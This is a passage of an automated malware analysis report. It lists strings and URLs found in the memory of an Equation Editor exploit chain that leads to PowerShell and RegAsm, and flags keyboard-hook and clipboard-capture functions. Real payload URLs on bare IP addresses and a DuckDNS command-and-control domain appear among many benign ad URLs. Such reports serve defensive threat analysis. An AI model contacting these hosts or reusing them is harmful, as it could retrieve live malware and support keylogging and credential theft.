              Source: RegAsm.exe, 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: ~@:9@0123456789ABCDEFURL index.datvisited:https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login$ equals www.yahoo.com (Yahoo)
              Source: global trafficDNS traffic detected: DNS query: maveing.duckdns.org
              Source: global trafficDNS traffic detected: DNS query: geoplugin.net
              Source: powershell.exe, 00000006.00000002.373087167.00000000082F1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://192.3.176.154
              Source: powershell.exe, 00000006.00000002.373087167.00000000082F1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://192.3.176.154/50/HNBC.txt
              Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000002.356840945.000000000053F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://192.3.176.154/50/screensimplethingstohandlecream.gIF
              Source: EQNEDT32.EXE, 00000002.00000002.356840945.0000000000534000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://192.3.176.154/50/screensimplethingstohandlecream.gIFcD
              Source: EQNEDT32.EXE, 00000002.00000002.356840945.000000000053F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://192.3.176.154/50/screensimplethingstohandlecream.gIFj
              Source: EQNEDT32.EXE, 00000002.00000002.356840945.0000000000534000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://192.3.176.154/50/screensimplethingstohandlecream.gIFsD
              Source: powershell.exe, 00000006.00000002.369936532.000000000262B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://198.46.176.133
              Source: powershell.exe, 00000006.00000002.369936532.000000000262B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.369655918.0000000000020000.00000004.00000020.00040000.00000000.sdmpString found in binary or memory: http://198.46.176.133/Upload/vbs.jpeg
              Source: bhvA851.tmp.10.drString found in binary or memory: http://acdn.adnxs.com/ast/ast.js
              Source: bhvA851.tmp.10.drString found in binary or memory: http://acdn.adnxs.com/ib/static/usersync/v3/async_usersync.html
              Source: bhvA851.tmp.10.drString found in binary or memory: http://b.scorecardresearch.com/beacon.js
              Source: bhvA851.tmp.10.drString found in binary or memory: http://cache.btrll.com/default/Pix-1x1.gif
              Source: bhvA851.tmp.10.drString found in binary or memory: http://cdn.at.atwola.com/_media/uac/msn.html
              Source: bhvA851.tmp.10.drString found in binary or memory: http://cdn.taboola.com/libtrc/impl.thin.277-63-RELEASE.js
              Source: bhvA851.tmp.10.drString found in binary or memory: http://cdn.taboola.com/libtrc/msn-home-network/loader.js
              Source: bhvA851.tmp.10.drString found in binary or memory: http://cdn.taboola.com/libtrc/static/thumbnails/f539211219b796ffbb49949997c764f0.png
              Source: bhvA851.tmp.10.drString found in binary or memory: http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only
              Source: bhvA851.tmp.10.drString found in binary or memory: http://dis.criteo.com/dis/usersync.aspx?r=7&p=3&cp=appnexus&cu=1&url=http%3A%2F%2Fib.adnxs.com%2Fset
              Source: RegAsm.exe, RegAsm.exe, 00000008.00000002.883935263.00000000008C4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp
              Source: powershell.exe, 00000006.00000002.370133163.0000000004128000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp/C
              Source: RegAsm.exe, 00000008.00000002.883935263.00000000008D7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp1
              Source: RegAsm.exe, 00000008.00000002.883935263.00000000008D7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp:
              Source: powershell.exe, 00000006.00000002.369775258.000000000066C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://go.microsoft.c
              Source: bhvA851.tmp.10.drString found in binary or memory: http://ib.adnxs.com/pxj?bidder=18&seg=378601&action=setuids(
              Source: bhvA851.tmp.10.drString found in binary or memory: http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_80%2Ch_334%2Cw_312%2Cc_fill%2Cg_faces%2Ce_sh
              Source: bhvA851.tmp.10.drString found in binary or memory: http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_167%2Cw_312%2Cc_fill%2Cg_faces%2Ce_
              Source: bhvA851.tmp.10.drString found in binary or memory: http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_90%2Cw_120%2Cc_fill%2Cg_faces:auto%
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA2oHEB?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA42Hq5?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA42eYr?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA42pjY?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA6K5wX?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA6pevu?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA8I0Dg?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA8uJZv?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAHxwMU?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAJhH73?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAhvyvD?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtB8UA?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=jp
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtBduP?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jpg
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtBnuN?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=jp
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtCLD9?h=368&w=522&m=6&q=60&u=t&o=t&l=f&f=jp
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtCr7K?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jpg
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtCzBA?h=250&w=300&m=6&q=60&u=t&o=t&l=f&f=jp
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAyXtPP?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAzl6aj?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17cJeH?h=250&w=300&m=6&q=60&u=t&o=t&l=f&f=j
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dAYk?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dJEo?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dLTg?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dOHE?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=j
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dWNo?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dtuY?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=j
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17e0XT?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17e3cA?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17e5NB?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17e7Ai?h=250&w=300&m=6&q=60&u=t&o=t&l=f&f=j
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17e9Q0?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17eeI9?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17ejTJ?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBPfCZL?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBYMDHp?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBZbaoj?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBh7lZF?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=jp
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBih5H?m=6&o=true&u=true&n=true&w=30&h=30
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBlKGpe?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jpg
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBlPHfm?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBnMzWD?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: bhvA851.tmp.10.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBqRcpR?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
              Source: powershell.exe, 00000006.00000002.370133163.0000000003519000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
              Source: bhvA851.tmp.10.drString found in binary or memory: http://o.aolcdn.com/ads/adswrappermsni.js
              Source: bhvA851.tmp.10.drString found in binary or memory: http://p.rfihub.com/cm?in=1&pub=345&userid=1614522055312108683
              Source: bhvA851.tmp.10.drString found in binary or memory: http://pr-bh.ybp.yahoo.com/sync/msft/1614522055312108683
              Source: powershell.exe, 00000006.00000002.369936532.00000000024F1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/_h/975a7d20/webcore/externalscripts/jquery/jquer
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/en-us/homepage/_sc/css/f15f847b-3b9d03a9/directi
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/en-us/homepage/_sc/js/f15f847b-7e75174a/directio
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/en-us/homepage/_sc/js/f15f847b-80c466c0/directio
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/sc/2b/a5ea21.ico
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/sc/6b/7fe9d7.woff
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/sc/9b/e151e5.gif
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/sc/c6/cfdbd9.png
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/_h/64bfc5b6/webcore/externalscripts/oneTrust/de-
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/_h/975a7d20/webcore/externalscripts/jquery/jquer
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/_h/a1438951/webcore/externalscripts/oneTrust/ski
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-de/homepage/_sc/css/f60532dd-8d94f807/directi
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-de/homepage/_sc/js/f60532dd-2923b6c2/directio
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-de/homepage/_sc/js/f60532dd-a12f0134/directio
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/11/755f86.png
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/21/241a2c.woff
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/2b/a5ea21.ico
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/64/a8a064.gif
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/9b/e151e5.gif
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/ea/4996b9.woff
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA2oHEB.img?h=16&w=16&m
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA42Hq5.img?h=16&w=16&m
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA42eYr.img?h=16&w=16&m
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA42pjY.img?h=16&w=16&m
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA6K5wX.img?h=16&w=16&m
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA6pevu.img?h=16&w=16&m
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA8I0Dg.img?h=16&w=16&m
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA8uJZv.img?h=16&w=16&m
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAHxwMU.img?h=16&w=16&m
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAJhH73.img?h=16&w=16&m
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAgi0nZ.img?h=16&w=16&m
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAhvyvD.img?h=16&w=16&m
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtB8UA.img?h=166&w=310
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtBduP.img?h=75&w=100&
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtBnuN.img?h=166&w=310
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtCLD9.img?h=368&w=522
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtCr7K.img?h=75&w=100&
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtCzBA.img?h=250&w=300
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAyXtPP.img?h=16&w=16&m
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAzl6aj.img?h=16&w=16&m
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17cJeH.img?h=250&w=30
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dAYk.img?h=75&w=100
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dJEo.img?h=75&w=100
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dLTg.img?h=166&w=31
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dOHE.img?h=333&w=31
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dWNo.img?h=166&w=31
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dtuY.img?h=333&w=31
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17e0XT.img?h=166&w=31
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17e3cA.img?h=75&w=100
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17e5NB.img?h=75&w=100
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17e7Ai.img?h=250&w=30
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17e9Q0.img?h=166&w=31
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17eeI9.img?h=75&w=100
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17ejTJ.img?h=75&w=100
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBPfCZL.img?h=27&w=27&m
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBYMDHp.img?h=27&w=27&m
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBZbaoj.img?h=16&w=16&m
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBh7lZF.img?h=333&w=311
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBih5H.img?m=6&o=true&u
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBlKGpe.img?h=75&w=100&
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBlPHfm.img?h=16&w=16&m
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBnMzWD.img?h=16&w=16&m
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBqRcpR.img?h=16&w=16&m
              Source: bhvA851.tmp.10.drString found in binary or memory: http://static.chartbeat.com/js/chartbeat.js
              Source: bhvA851.tmp.10.drString found in binary or memory: http://widgets.outbrain.com/external/publishers/msn/MSNIdSync.js
              Source: RegAsm.exe, RegAsm.exe, 0000000C.00000002.388835589.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.ebuddy.com
              Source: RegAsm.exe, RegAsm.exe, 0000000C.00000002.388835589.0000000000400000.00000040.80000000.00040000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.389336890.0000000001FD9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.imvu.com
              Source: RegAsm.exe, 0000000C.00000002.388716747.00000000002BC000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://www.imvu.com/iK
              Source: RegAsm.exe, 0000000C.00000002.388835589.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com
              Source: RegAsm.exe, 0000000C.00000002.388835589.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.imvu.comr
              Source: bhvA851.tmp.10.drString found in binary or memory: http://www.msn.com/
              Source: bhvA851.tmp.10.drString found in binary or memory: http://www.msn.com/?ocid=iehp
              Source: bhvA851.tmp.10.drString found in binary or memory: http://www.msn.com/advertisement.ad.js
              Source: bhvA851.tmp.10.drString found in binary or memory: http://www.msn.com/de-de/?ocid=iehp
              Source: RegAsm.exe, 0000000A.00000002.391539248.0000000000253000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://www.nirsoft.net
              Source: RegAsm.exe, 0000000C.00000002.388835589.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.nirsoft.net/
              Source: bhvA851.tmp.10.drString found in binary or memory: https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.js
              Source: bhvA851.tmp.10.drString found in binary or memory: https://contextual.media.net/
              Source: bhvA851.tmp.10.drString found in binary or memory: https://contextual.media.net/8/nrrV73987.js
              Source: bhvA851.tmp.10.drString found in binary or memory: https://contextual.media.net/803288796/fcmain.js?&gdpr=1&cid=8CUT39MWR&cpcd=2K6DOtg60bLnBhB3D4RSbQ%3
              Source: bhvA851.tmp.10.drString found in binary or memory: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBSKZM1Y&prvid=77%2
              Source: bhvA851.tmp.10.drString found in binary or memory: https://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=1
              Source: powershell.exe, 00000006.00000002.370133163.0000000003519000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
              Source: powershell.exe, 00000006.00000002.370133163.0000000003519000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
              Source: powershell.exe, 00000006.00000002.370133163.0000000003519000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
              Source: bhvA851.tmp.10.drString found in binary or memory: https://cvision.media.net/new/286x175/2/137/169/197/852af93e-e705-48f1-93ba-6ef64c8308e6.jpg?v=9
              Source: bhvA851.tmp.10.drString found in binary or memory: https://cvision.media.net/new/286x175/3/72/42/210/948f45db-f5a0-41ce-a6b6-5cc9e8c93c16.jpg?v=9
              Source: bhvA851.tmp.10.drString found in binary or memory: https://dc.ads.linkedin.com/collect/?pid=6883&opid=7850&fmt=gif&ck=&3pc=true&an_user_id=591650497549
              Source: bhvA851.tmp.10.drString found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
              Source: bhvA851.tmp.10.drString found in binary or memory: https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au
              Source: RegAsm.exeString found in binary or memory: https://login.yahoo.com/config/login
              Source: powershell.exe, 00000006.00000002.370133163.0000000003519000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
              Source: bhvA851.tmp.10.drString found in binary or memory: https://policies.yahoo.com/w3c/p3p.xml
              Source: bhvA851.tmp.10.drString found in binary or memory: https://s.yimg.com/lo/api/res/1.2/cKqYjmGd5NGRXh6Xptm6Yg--~A/Zmk9ZmlsbDt3PTYyMjtoPTM2ODthcHBpZD1nZW1
              Source: bhvA851.tmp.10.drString found in binary or memory: https://static-global-s-msn-com.akamaized.net/hp-eus/sc/9b/e151e5.gif
              Source: RegAsm.exe, 0000000A.00000002.391867075.0000000000E08000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
              Source: bhvA851.tmp.10.drString found in binary or memory: https://www.ccleaner.com/go/app_cc_pro_trialkey
              Source: RegAsm.exe, RegAsm.exe, 0000000C.00000002.388835589.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: https://www.google.com
              Source: RegAsm.exeString found in binary or memory: https://www.google.com/accounts/servicelogin
              Source: bhvA851.tmp.10.drString found in binary or memory: https://www.msn.com/en-us/homepage/secure/silentpassport?secure=false&lc=1033

              Key, Mouse, Clipboard, Microphone and Screen Capturing

              barindex
              Contains functionality to register a low level keyboard hook
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040A2B8 SetWindowsHookExA 0000000D,0040A2A4,000000008_2_0040A2B8
              Installs a global keyboard hook
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWindows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040B70E OpenClipboard,GetClipboardData,CloseClipboard,8_2_0040B70E
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_004168C1 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,8_2_004168C1
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_0040987A EmptyClipboard,wcslen,GlobalAlloc,GlobalFix,memcpy,GlobalUnWire,SetClipboardData,CloseClipboard,10_2_0040987A
